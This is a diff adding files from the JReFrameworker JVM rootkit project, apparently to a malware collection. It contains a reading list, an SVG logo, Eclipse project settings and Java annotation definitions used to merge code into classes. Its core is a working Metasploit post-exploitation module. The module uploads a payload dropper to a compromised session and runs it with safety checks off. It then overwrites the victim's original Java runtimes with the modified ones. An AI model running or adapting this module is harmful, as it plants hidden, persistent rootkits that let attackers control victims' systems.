- [JRebel Explained](http://zeroturnaround.com/rebellabs/reloading-objects-classes-classloaders/)
|
||||
- [Stack Overflow Question on Editing rt.jar](https://stackoverflow.com/questions/8433047/overriding-single-classes-from-rt-jar)
|
||||
- [JEP 159: Enhanced Class Redefinition](http://openjdk.java.net/jeps/159)
|
||||
- [HotswapAgent](http://www.hotswapagent.org/quick-start) + [Hotswap Projects](https://github.com/HotswapProjects)
|
||||
- [Oracle FPUpdater Tool](http://www.oracle.com/technetwork/java/javase/fpupdater-tool-readme-305936.html)
|
||||
- [ClassLoader to Reload Class Definitions](https://stackoverflow.com/questions/3971534/how-to-force-java-to-reload-class-upon-instantiation)
|
||||
- [DYNAMIC SOFTWARE UPDATING (Dissertation)](http://www.cs.umd.edu/~mwh/papers/thesis.pdf)
|
||||
- [Dynamic Software Updating for Java](http://www.luispina.me/projects/rubah.html)
|
||||
|
||||
## Bytecode Manipulations
|
||||
- [ASM Whitepaper](http://asm.ow2.org/current/asm-eng.pdf)
|
||||
- [ASM Transformations Whitepaper](http://asm.ow2.org/current/asm-transformations.pdf), [MIRROR](https://src.fedoraproject.org/lookaside/extras/asm2/asm-transformations.pdf/991a1ccdb3e79fe393aed7477f4f7ca5/asm-transformations.pdf)
|
||||
- [Merging Classes with ASM](http://www.jroller.com/eu/entry/merging_class_methods_with_asm)
|
||||
- [Updated Version of ASM Bytecode Outline Plugin](http://andrei.gmxhome.de/bytecode/index.html)
|
||||
- [Konloch Bytecode Viewer](https://github.com/Konloch/bytecode-viewer)
|
||||
- [BCEL](https://commons.apache.org/proper/commons-bcel/manual.html)
|
||||
|
||||
## Intermediate Languages
|
||||
- [Soot](https://sable.github.io/soot/)
|
||||
- [Soot Command Line Options](https://ssebuild.cased.de/nightly/soot/doc/soot_options.htm)
|
||||
|
||||
## Eclipse Plugin Development
|
||||
- [Project Builders and Natures](https://eclipse.org/articles/Article-Builders/builders.html)
|
||||
- [Incremental Builders](http://help.eclipse.org/mars/index.jsp?topic=%2Forg.eclipse.platform.doc.isv%2Fguide%2FresAdv_builders.htm)
|
||||
- [Eclipse Launch Frameworker](https://www.eclipse.org/articles/Article-Launch-Framework/launch.html)
|
||||
- [Eclipse Launchers](http://alvinalexander.com/java/jwarehouse/eclipse/org.eclipse.jdt.launching/launching/org/eclipse/jdt/internal/launching/JavaAppletLaunchConfigurationDelegate.java.shtml)
|
||||
- [Eclipse Java Launcher Example](https://eclipse.org/articles/Article-Java-launch/launching-java.html)
|
||||
- [Eclipse Launch Shortcuts](http://opensourcejavaphp.net/java/eclipse/org/eclipse/jdt/internal/debug/ui/launcher/JavaLaunchShortcut.java.html)
|
||||
- [Launch Shortcut Example](http://grepcode.com/file_/repository.grepcode.com/java/eclipse.org/3.5.2/org.eclipse.jdt.debug/ui/3.4.1/org/eclipse/jdt/debug/ui/launchConfigurations/JavaApplicationLaunchShortcut.java/?v=source)
|
||||
|
||||
## Other
|
||||
- [JVM Internals](http://blog.jamesdbloom.com/JVMInternals.html)
|
BIN
Cross Platform/Rootkits/JReFrameworker/images/JReFrameworker.png
Normal file
After Width: | Height: | Size: 1.2 MiB |
316
Cross Platform/Rootkits/JReFrameworker/images/JReFrameworker.svg
Normal file
@ -0,0 +1,316 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<!-- Created with Inkscape (http://www.inkscape.org/) -->
|
||||
|
||||
<svg
|
||||
xmlns:osb="http://www.openswatchbook.org/uri/2009/osb"
|
||||
xmlns:dc="http://purl.org/dc/elements/1.1/"
|
||||
xmlns:cc="http://creativecommons.org/ns#"
|
||||
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
|
||||
xmlns:svg="http://www.w3.org/2000/svg"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
|
||||
xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
|
||||
width="210mm"
|
||||
height="297mm"
|
||||
id="svg2"
|
||||
version="1.1"
|
||||
inkscape:version="0.48.5 r10040"
|
||||
inkscape:export-filename="C:\Users\tietzeh\Downloads\2014_SaveAs.png"
|
||||
inkscape:export-xdpi="126.92228"
|
||||
inkscape:export-ydpi="126.92228"
|
||||
sodipodi:docname="20140911_SaveAs.svg">
|
||||
<defs
|
||||
id="defs4">
|
||||
<linearGradient
|
||||
id="linearGradient8178"
|
||||
osb:paint="solid">
|
||||
<stop
|
||||
style="stop-color:#000000;stop-opacity:1;"
|
||||
offset="0"
|
||||
id="stop8180" />
|
||||
</linearGradient>
|
||||
<linearGradient
|
||||
id="linearGradient8140"
|
||||
osb:paint="solid">
|
||||
<stop
|
||||
style="stop-color:#000000;stop-opacity:1;"
|
||||
offset="0"
|
||||
id="stop8142" />
|
||||
</linearGradient>
|
||||
<marker
|
||||
inkscape:stockid="DotS"
|
||||
orient="auto"
|
||||
refY="0.0"
|
||||
refX="0.0"
|
||||
id="DotS"
|
||||
style="overflow:visible">
|
||||
<path
|
||||
id="path5502"
|
||||
d="M -2.5,-1.0 C -2.5,1.7600000 -4.7400000,4.0 -7.5,4.0 C -10.260000,4.0 -12.5,1.7600000 -12.5,-1.0 C -12.5,-3.7600000 -10.260000,-6.0 -7.5,-6.0 C -4.7400000,-6.0 -2.5,-3.7600000 -2.5,-1.0 z "
|
||||
style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt"
|
||||
transform="scale(0.2) translate(7.4, 1)" />
|
||||
</marker>
|
||||
<marker
|
||||
inkscape:stockid="Torso"
|
||||
orient="auto"
|
||||
refY="0.0"
|
||||
refX="0.0"
|
||||
id="Torso"
|
||||
style="overflow:visible">
|
||||
<g
|
||||
id="g5647"
|
||||
transform="scale(0.7)">
|
||||
<path
|
||||
id="path5649"
|
||||
d="M -4.7792281,-3.2395420 C -2.4288541,-2.8736027 0.52103922,-1.3019943 0.25792722,0.38794346 C -0.0051877922,2.0778819 -2.2126741,2.6176539 -4.5630471,2.2517169 C -6.9134221,1.8857769 -8.5210350,0.75201414 -8.2579220,-0.93792336 C -7.9948090,-2.6278615 -7.1296041,-3.6054813 -4.7792281,-3.2395420 z "
|
||||
style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:1.2500000" />
|
||||
<path
|
||||
id="path5651"
|
||||
d="M 4.4598789,0.088665736 C -2.5564571,-4.3783320 5.2248769,-3.9061806 -0.84829578,-8.7197331"
|
||||
style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:1.0000000pt" />
|
||||
<path
|
||||
id="path5653"
|
||||
d="M 4.9298719,0.057520736 C -1.3872731,1.7494689 1.8027579,5.4782079 -4.9448731,7.5462725"
|
||||
style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:1.0000000pt" />
|
||||
<rect
|
||||
id="rect5655"
|
||||
transform="matrix(0.527536,-0.849533,0.887668,0.460484,0,0)"
|
||||
y="-1.7408575"
|
||||
x="-10.391706"
|
||||
height="2.7608147"
|
||||
width="2.6366582"
|
||||
style="fill-rule:evenodd;stroke-width:1.0000000pt" />
|
||||
<rect
|
||||
id="rect5657"
|
||||
transform="matrix(0.671205,-0.741272,0.790802,0.612072,0,0)"
|
||||
y="-7.9629307"
|
||||
x="4.9587269"
|
||||
height="2.8614161"
|
||||
width="2.7327356"
|
||||
style="fill-rule:evenodd;stroke-width:1.0000000pt" />
|
||||
<path
|
||||
id="path5659"
|
||||
transform="matrix(0,-1.109517,1.109517,0,25.96648,19.71619)"
|
||||
d="M 16.779951 -28.685045 A 0.60731727 0.60731727 0 1 0 15.565317,-28.685045 A 0.60731727 0.60731727 0 1 0 16.779951 -28.685045 z"
|
||||
style="fill:#ff0000;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:1.0000000pt" />
|
||||
<path
|
||||
id="path5661"
|
||||
transform="matrix(0,-1.109517,1.109517,0,26.82450,16.99126)"
|
||||
d="M 16.779951 -28.685045 A 0.60731727 0.60731727 0 1 0 15.565317,-28.685045 A 0.60731727 0.60731727 0 1 0 16.779951 -28.685045 z"
|
||||
style="fill:#ff0000;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:1.0000000pt" />
|
||||
</g>
|
||||
</marker>
|
||||
<marker
|
||||
inkscape:stockid="EmptyDiamondMstart"
|
||||
orient="auto"
|
||||
refY="0.0"
|
||||
refX="0.0"
|
||||
id="EmptyDiamondMstart"
|
||||
style="overflow:visible">
|
||||
<path
|
||||
id="path5553"
|
||||
d="M 0,-7.0710768 L -7.0710894,0 L 0,7.0710589 L 7.0710462,0 L 0,-7.0710768 z "
|
||||
style="fill-rule:evenodd;fill:#FFFFFF;stroke:#000000;stroke-width:1.0pt"
|
||||
transform="scale(0.4) translate(6.5,0)" />
|
||||
</marker>
|
||||
<marker
|
||||
inkscape:stockid="SquareS"
|
||||
orient="auto"
|
||||
refY="0.0"
|
||||
refX="0.0"
|
||||
id="SquareS"
|
||||
style="overflow:visible">
|
||||
<path
|
||||
id="path5511"
|
||||
d="M -5.0,-5.0 L -5.0,5.0 L 5.0,5.0 L 5.0,-5.0 L -5.0,-5.0 z "
|
||||
style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt"
|
||||
transform="scale(0.2)" />
|
||||
</marker>
|
||||
<marker
|
||||
inkscape:stockid="Arrow1Lstart"
|
||||
orient="auto"
|
||||
refY="0.0"
|
||||
refX="0.0"
|
||||
id="Arrow1Lstart"
|
||||
style="overflow:visible">
|
||||
<path
|
||||
id="path5435"
|
||||
d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z "
|
||||
style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt"
|
||||
transform="scale(0.8) translate(12.5,0)" />
|
||||
</marker>
|
||||
<marker
|
||||
inkscape:stockid="Arrow2Lend"
|
||||
orient="auto"
|
||||
refY="0.0"
|
||||
refX="0.0"
|
||||
id="Arrow2Lend"
|
||||
style="overflow:visible;">
|
||||
<path
|
||||
id="path5456"
|
||||
style="fill-rule:evenodd;stroke-width:0.62500000;stroke-linejoin:round;"
|
||||
d="M 8.7185878,4.0337352 L -2.2072895,0.016013256 L 8.7185884,-4.0017078 C 6.9730900,-1.6296469 6.9831476,1.6157441 8.7185878,4.0337352 z "
|
||||
transform="scale(1.1) rotate(180) translate(1,0)" />
|
||||
</marker>
|
||||
<marker
|
||||
inkscape:stockid="Tail"
|
||||
orient="auto"
|
||||
refY="0.0"
|
||||
refX="0.0"
|
||||
id="Tail"
|
||||
style="overflow:visible">
|
||||
<g
|
||||
id="g5471"
|
||||
transform="scale(-1.2)">
|
||||
<path
|
||||
id="path5473"
|
||||
d="M -3.8048674,-3.9585227 L 0.54352094,0"
|
||||
style="fill:none;fill-rule:evenodd;stroke:#000000;stroke-width:0.8;stroke-linecap:round" />
|
||||
<path
|
||||
id="path5475"
|
||||
d="M -1.2866832,-3.9585227 L 3.0617053,0"
|
||||
style="fill:none;fill-rule:evenodd;stroke:#000000;stroke-width:0.8;stroke-linecap:round" />
|
||||
<path
|
||||
id="path5477"
|
||||
d="M 1.3053582,-3.9585227 L 5.6537466,0"
|
||||
style="fill:none;fill-rule:evenodd;stroke:#000000;stroke-width:0.8;stroke-linecap:round" />
|
||||
<path
|
||||
id="path5479"
|
||||
d="M -3.8048674,4.1775838 L 0.54352094,0.21974226"
|
||||
style="fill:none;fill-rule:evenodd;stroke:#000000;stroke-width:0.8;stroke-linecap:round" />
|
||||
<path
|
||||
id="path5481"
|
||||
d="M -1.2866832,4.1775838 L 3.0617053,0.21974226"
|
||||
style="fill:none;fill-rule:evenodd;stroke:#000000;stroke-width:0.8;stroke-linecap:round" />
|
||||
<path
|
||||
id="path5483"
|
||||
d="M 1.3053582,4.1775838 L 5.6537466,0.21974226"
|
||||
style="fill:none;fill-rule:evenodd;stroke:#000000;stroke-width:0.8;stroke-linecap:round" />
|
||||
</g>
|
||||
</marker>
|
||||
<linearGradient
|
||||
id="linearGradient5243">
|
||||
<stop
|
||||
style="stop-color:#000000;stop-opacity:1;"
|
||||
offset="0"
|
||||
id="stop5245" />
|
||||
<stop
|
||||
style="stop-color:#000000;stop-opacity:0;"
|
||||
offset="1"
|
||||
id="stop5247" />
|
||||
</linearGradient>
|
||||
<linearGradient
|
||||
id="linearGradient5235"
|
||||
osb:paint="solid">
|
||||
<stop
|
||||
style="stop-color:#000000;stop-opacity:1;"
|
||||
offset="0"
|
||||
id="stop5237" />
|
||||
</linearGradient>
|
||||
<linearGradient
|
||||
id="linearGradient5219"
|
||||
osb:paint="solid">
|
||||
<stop
|
||||
style="stop-color:#000000;stop-opacity:1;"
|
||||
offset="0"
|
||||
id="stop5221" />
|
||||
</linearGradient>
|
||||
</defs>
|
||||
<sodipodi:namedview
|
||||
id="base"
|
||||
pagecolor="#ffffff"
|
||||
bordercolor="#666666"
|
||||
borderopacity="1.0"
|
||||
inkscape:pageopacity="0.0"
|
||||
inkscape:pageshadow="2"
|
||||
inkscape:zoom="2.8"
|
||||
inkscape:cx="100.06042"
|
||||
inkscape:cy="123.97951"
|
||||
inkscape:document-units="px"
|
||||
inkscape:current-layer="layer1"
|
||||
showgrid="true"
|
||||
inkscape:window-width="1680"
|
||||
inkscape:window-height="1028"
|
||||
inkscape:window-x="-8"
|
||||
inkscape:window-y="-8"
|
||||
inkscape:window-maximized="1">
|
||||
<inkscape:grid
|
||||
type="xygrid"
|
||||
id="grid2995" />
|
||||
</sodipodi:namedview>
|
||||
<metadata
|
||||
id="metadata7">
|
||||
<rdf:RDF>
|
||||
<cc:Work
|
||||
rdf:about="">
|
||||
<dc:format>image/svg+xml</dc:format>
|
||||
<dc:type
|
||||
rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
|
||||
<dc:title></dc:title>
|
||||
</cc:Work>
|
||||
</rdf:RDF>
|
||||
</metadata>
|
||||
<g
|
||||
inkscape:label="Ebene 1"
|
||||
inkscape:groupmode="layer"
|
||||
id="layer1">
|
||||
<path
|
||||
style="fill:none;stroke:#000000;stroke-width:20;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-opacity:0.78431373;stroke-dasharray:none;stroke-dashoffset:0;marker-start:none;marker-mid:none;marker-end:none"
|
||||
d="m 25,839.36216 0,201.00004 175,0 0,-200.00004 -135,0 0,110 95,0 0,-75 -55,0 0,35"
|
||||
id="path3767"
|
||||
inkscape:connector-curvature="0"
|
||||
sodipodi:nodetypes="cccccccccc"
|
||||
inkscape:export-filename="C:\Users\tietzeh\Downloads\2014_SaveAs.png"
|
||||
inkscape:export-xdpi="110"
|
||||
inkscape:export-ydpi="110" />
|
||||
<path
|
||||
sodipodi:type="arc"
|
||||
style="fill:#000000;fill-opacity:1;stroke:none"
|
||||
id="path3769"
|
||||
sodipodi:cx="192.5"
|
||||
sodipodi:cy="944.86218"
|
||||
sodipodi:rx="2.5"
|
||||
sodipodi:ry="2.5"
|
||||
d="m 195,944.86218 a 2.5,2.5 0 1 1 -5,0 2.5,2.5 0 1 1 5,0 z"
|
||||
transform="matrix(4,0,0,4,-605,-2769.0865)"
|
||||
inkscape:export-filename="C:\Users\tietzeh\Downloads\2014_SaveAs.png"
|
||||
inkscape:export-xdpi="110"
|
||||
inkscape:export-ydpi="110" />
|
||||
<path
|
||||
d="m 195,944.86218 a 2.5,2.5 0 1 1 -5,0 2.5,2.5 0 1 1 5,0 z"
|
||||
sodipodi:ry="2.5"
|
||||
sodipodi:rx="2.5"
|
||||
sodipodi:cy="944.86218"
|
||||
sodipodi:cx="192.5"
|
||||
id="path3771"
|
||||
style="fill:#000000;fill-opacity:1;stroke:none"
|
||||
sodipodi:type="arc"
|
||||
transform="matrix(4,0,0,4,-630,-2769.0865)"
|
||||
inkscape:export-filename="C:\Users\tietzeh\Downloads\2014_SaveAs.png"
|
||||
inkscape:export-xdpi="110"
|
||||
inkscape:export-ydpi="110" />
|
||||
<rect
|
||||
style="fill:none;fill-opacity:0.72307690999999996;stroke:none"
|
||||
id="rect8226"
|
||||
width="225"
|
||||
height="225"
|
||||
x="0"
|
||||
y="827.36218"
|
||||
inkscape:export-filename="C:\Users\tietzeh\Downloads\2014_SaveAs.png"
|
||||
inkscape:export-xdpi="110"
|
||||
inkscape:export-ydpi="110" />
|
||||
<path
|
||||
transform="matrix(4,0,0,4,-655,-2769.0865)"
|
||||
sodipodi:type="arc"
|
||||
style="fill:#000000;fill-opacity:1;stroke:none"
|
||||
id="path3773"
|
||||
sodipodi:cx="192.5"
|
||||
sodipodi:cy="944.86218"
|
||||
sodipodi:rx="2.5"
|
||||
sodipodi:ry="2.5"
|
||||
d="m 195,944.86218 a 2.5,2.5 0 1 1 -5,0 2.5,2.5 0 1 1 5,0 z"
|
||||
inkscape:export-xdpi="110"
|
||||
inkscape:export-ydpi="110"
|
||||
inkscape:export-filename="C:\Users\tietzeh\Downloads\2014_SaveAs.png" />
|
||||
</g>
|
||||
</svg>
|
After Width: | Height: | Size: 11 KiB |
@ -0,0 +1,140 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Payloads must be generated by JReFrameworker: https://ben-holland.com/JReFrameworker/
|
||||
# Place module at ~/.msf4/modules/post/manage/java/jreframeworker.rb
|
||||
# Load module with 'use post/manage/java/jreframeworker'
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Modify JVM Runtime',
|
||||
'Description' => %q{ This module executes a JReFrameworker payload dropper },
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Benjamin Holland (daedared)' ],
|
||||
'Platform' => [ 'win', 'osx', 'linux' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'JReFrameworker', 'https://ben-holland.com/JReFrameworker/' ],
|
||||
[ 'DEFCON24', 'https://www.defcon.org/html/defcon-24/dc-24-speakers.html#Holland' ]
|
||||
],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPath.new('PAYLOAD_DROPPER', [true, 'The JReFrameworker payload to execute'])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('SEARCH_DIRECTORIES', [false, 'Specifies a comma separated list of victim directory paths to search for runtimes, if not specified a default set of search directories will be used.']),
|
||||
OptString.new('OUTPUT_DIRECTORY', [false, 'Specifies the output directory to save modified runtimes, if not specified output files will be written as temporary files.'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def upload_file(tempdir, file)
|
||||
remote_file = "#{tempdir}#{File.basename(file)}"
|
||||
print_status("#{peer} - Uploading #{remote_file}...")
|
||||
write_file(remote_file, File.binread(file))
|
||||
print_status("#{peer} - Uploaded #{remote_file}")
|
||||
remote_file
|
||||
end
|
||||
|
||||
def get_platform()
|
||||
if session.type =~ /meterpreter/ && session.sys.config.sysinfo['OS'] =~ /darwin/i
|
||||
platform = 'osx'
|
||||
else
|
||||
platform = session.platform
|
||||
end
|
||||
platform
|
||||
end
|
||||
|
||||
def get_temporary_directory(platform)
|
||||
if platform.include? "/win"
|
||||
#return "%TEMP%\\" # not working :\
|
||||
return "C:\\"
|
||||
else
|
||||
return "/tmp/"
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
dropper_local = datastore['PAYLOAD_DROPPER']
|
||||
platform = get_platform()
|
||||
tempdir = get_temporary_directory(platform)
|
||||
dropper_remote = upload_file(tempdir, dropper_local)
|
||||
|
||||
print_status("ReFrameworking JVMs on #{session.inspect}...")
|
||||
|
||||
# build the dropper command
|
||||
search_directories = datastore['SEARCH_DIRECTORIES']
|
||||
cmd = "java -jar #{dropper_remote} --safety-off"
|
||||
if search_directories
|
||||
cmd = "#{cmd} --search-directories \"#{search_directories}\""
|
||||
end
|
||||
output_directory = datastore['OUTPUT_DIRECTORY']
|
||||
if output_directory
|
||||
cmd = "#{cmd} --output-directory #{output_directory}"
|
||||
end
|
||||
|
||||
# rework each discovered runtime
|
||||
print_status("Running: #{cmd}...")
|
||||
modification_results = cmd_exec(cmd)
|
||||
print_status(modification_results)
|
||||
|
||||
# parse the results, results are a list of original and corresponding modified runtimes
|
||||
modification_results = "#{modification_results}".strip!
|
||||
modifications = modification_results.split("\n")
|
||||
|
||||
# iterate over each original,modified runtime pair
|
||||
# and replace the original runtime with the modified runtime
|
||||
index = 0
|
||||
while index < modifications.size
|
||||
original = ''
|
||||
modified = ''
|
||||
|
||||
while original == '' && index < modifications.size
|
||||
if not (modifications[index]).nil?
|
||||
if modifications[index].include? 'Original Runtime: '
|
||||
original = modifications[index]
|
||||
original = original.gsub! 'Original Runtime: ', ''
|
||||
original.strip!
|
||||
end
|
||||
end
|
||||
index = index + 1
|
||||
end
|
||||
|
||||
while modified == '' && index < modifications.size
|
||||
if not (modifications[index]).nil?
|
||||
if modifications[index].include? 'Modified Runtime: '
|
||||
modified = modifications[index]
|
||||
modified = modified.gsub! 'Modified Runtime: ', ''
|
||||
modified.strip!
|
||||
end
|
||||
end
|
||||
index = index + 1
|
||||
end
|
||||
|
||||
if original != '' && modified != ''
|
||||
print_status("Created temporary runtime #{modified}")
|
||||
print_status("Overwriting #{original}...")
|
||||
rm_f(original)
|
||||
rename_file(modified, original)
|
||||
original = ''
|
||||
modified = ''
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
6
Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/.classpath
Normal file
@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<classpath>
|
||||
<classpathentry kind="src" path="src"/>
|
||||
<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-1.8"/>
|
||||
<classpathentry kind="output" path="bin"/>
|
||||
</classpath>
|
1
Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/.gitignore
vendored
Normal file
@ -0,0 +1 @@
|
||||
/bin/
|
17
Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/.project
Normal file
@ -0,0 +1,17 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<projectDescription>
|
||||
<name>com.jreframeworker.annotations.core</name>
|
||||
<comment></comment>
|
||||
<projects>
|
||||
</projects>
|
||||
<buildSpec>
|
||||
<buildCommand>
|
||||
<name>org.eclipse.jdt.core.javabuilder</name>
|
||||
<arguments>
|
||||
</arguments>
|
||||
</buildCommand>
|
||||
</buildSpec>
|
||||
<natures>
|
||||
<nature>org.eclipse.jdt.core.javanature</nature>
|
||||
</natures>
|
||||
</projectDescription>
|
11
Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/.settings/org.eclipse.jdt.core.prefs
Normal file
@ -0,0 +1,11 @@
|
||||
eclipse.preferences.version=1
|
||||
org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled
|
||||
org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.8
|
||||
org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve
|
||||
org.eclipse.jdt.core.compiler.compliance=1.8
|
||||
org.eclipse.jdt.core.compiler.debug.lineNumber=generate
|
||||
org.eclipse.jdt.core.compiler.debug.localVariable=generate
|
||||
org.eclipse.jdt.core.compiler.debug.sourceFile=generate
|
||||
org.eclipse.jdt.core.compiler.problem.assertIdentifier=error
|
||||
org.eclipse.jdt.core.compiler.problem.enumIdentifier=error
|
||||
org.eclipse.jdt.core.compiler.source=1.8
|
19
Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/build-annotations.ant.xml
Normal file
@ -0,0 +1,19 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<project default="create_annotations_jar" name="Create com.jreframeworker.annotations">
|
||||
<property name="dir.buildfile" value="."/>
|
||||
<property name="dir.jarfile" value="../com.jreframeworker/annotations"/>
|
||||
<target name="create_annotations_jar">
|
||||
<jar destfile="${dir.jarfile}/jreframeworker-annotations.jar" filesetmanifest="mergewithoutmain">
|
||||
<manifest>
|
||||
<!-- just make an empty manifest -->
|
||||
</manifest>
|
||||
<fileset dir="${dir.buildfile}/bin"/>
|
||||
</jar>
|
||||
</target>
|
||||
<target name="copy_annotations">
|
||||
<copy todir="../com.jreframeworker.annotations/src/">
|
||||
<fileset dir="./src">
|
||||
</fileset>
|
||||
</copy>
|
||||
</target>
|
||||
</project>
|
@ -0,0 +1,22 @@
|
||||
package com.jreframeworker.annotations.fields;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
// this annotation is valid for methods
|
||||
@Target({ ElementType.FIELD })
|
||||
|
||||
// annotation will be recorded in the class file by the compiler,
|
||||
// but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
/**
|
||||
* Indicates the annotated field should be inserted into the base
|
||||
* class during a merge. If the field already exists, the field
|
||||
* will be replaced with the annotated field.
|
||||
*
|
||||
* @author Ben Holland
|
||||
*/
|
||||
public @interface DefineField {}
|
@ -0,0 +1,17 @@
|
||||
package com.jreframeworker.annotations.fields;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
// this annotation is valid for types
|
||||
@Target({ ElementType.TYPE })
|
||||
|
||||
// annotation will be recorded in the class file by the compiler,
|
||||
// but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
public @interface DefineFieldFinalities {
|
||||
DefineFieldFinality[] value();
|
||||
}
|
@ -0,0 +1,35 @@
|
||||
package com.jreframeworker.annotations.fields;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Repeatable;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
// this annotation is valid for types
|
||||
@Target({ ElementType.TYPE })
|
||||
|
||||
// annotation will be recorded in the class file by the compiler,
|
||||
// but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
/**
|
||||
* Adds or removes the final modifier from a field
|
||||
*
|
||||
* "type" should be the qualified class name if not defined the target will be
|
||||
* the super class of the class the annotation is placed on
|
||||
*
|
||||
* "field" should be the name of the field for which to set visibility
|
||||
*
|
||||
* "finality" should be a boolean true to add or boolean false to remove the
|
||||
* final keyword
|
||||
*
|
||||
* @author Ben Holland
|
||||
*/
|
||||
@Repeatable(DefineFieldFinalities.class)
|
||||
public @interface DefineFieldFinality {
|
||||
int phase() default 1;
|
||||
String type();
|
||||
String field();
|
||||
boolean finality();
|
||||
}
|
@ -0,0 +1,17 @@
|
||||
package com.jreframeworker.annotations.fields;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
// this annotation is valid for types
|
||||
@Target({ ElementType.TYPE })
|
||||
|
||||
// annotation will be recorded in the class file by the compiler,
|
||||
// but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
public @interface DefineFieldVisibilities {
|
||||
DefineFieldVisibility[] value();
|
||||
}
|
@ -0,0 +1,34 @@
|
||||
package com.jreframeworker.annotations.fields;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Repeatable;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
// this annotation is valid for types
|
||||
@Target({ ElementType.TYPE })
|
||||
|
||||
// annotation will be recorded in the class file by the compiler,
|
||||
// but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
/**
|
||||
* Sets the visibility of a field
|
||||
*
|
||||
* "type" should be the qualified class name if not defined the target will be
|
||||
* the super class of the class the annotation is placed on
|
||||
*
|
||||
* "field" should be the name of the field for which to set visibility
|
||||
*
|
||||
* "visibility" should be "public", "protected", or "private"
|
||||
*
|
||||
* @author Ben Holland
|
||||
*/
|
||||
@Repeatable(DefineFieldVisibilities.class)
|
||||
public @interface DefineFieldVisibility {
|
||||
int phase() default 1;
|
||||
String type();
|
||||
String field();
|
||||
String visibility();
|
||||
}
|
@ -0,0 +1,25 @@
|
||||
package com.jreframeworker.annotations.fields;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Repeatable;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
// this annotation is valid for methods
|
||||
@Target({ ElementType.TYPE })
|
||||
|
||||
// annotation will be recorded in the class file by the compiler,
|
||||
// but won't be retained by the VM at run time (invisible annotation)
|
||||
@Retention(RetentionPolicy.CLASS)
|
||||
|
||||
/**
|
||||
* Indicates the annotated field should be purged from the base class.
|
||||
*
|
||||
* @author Ben Holland
|
||||
*/
|
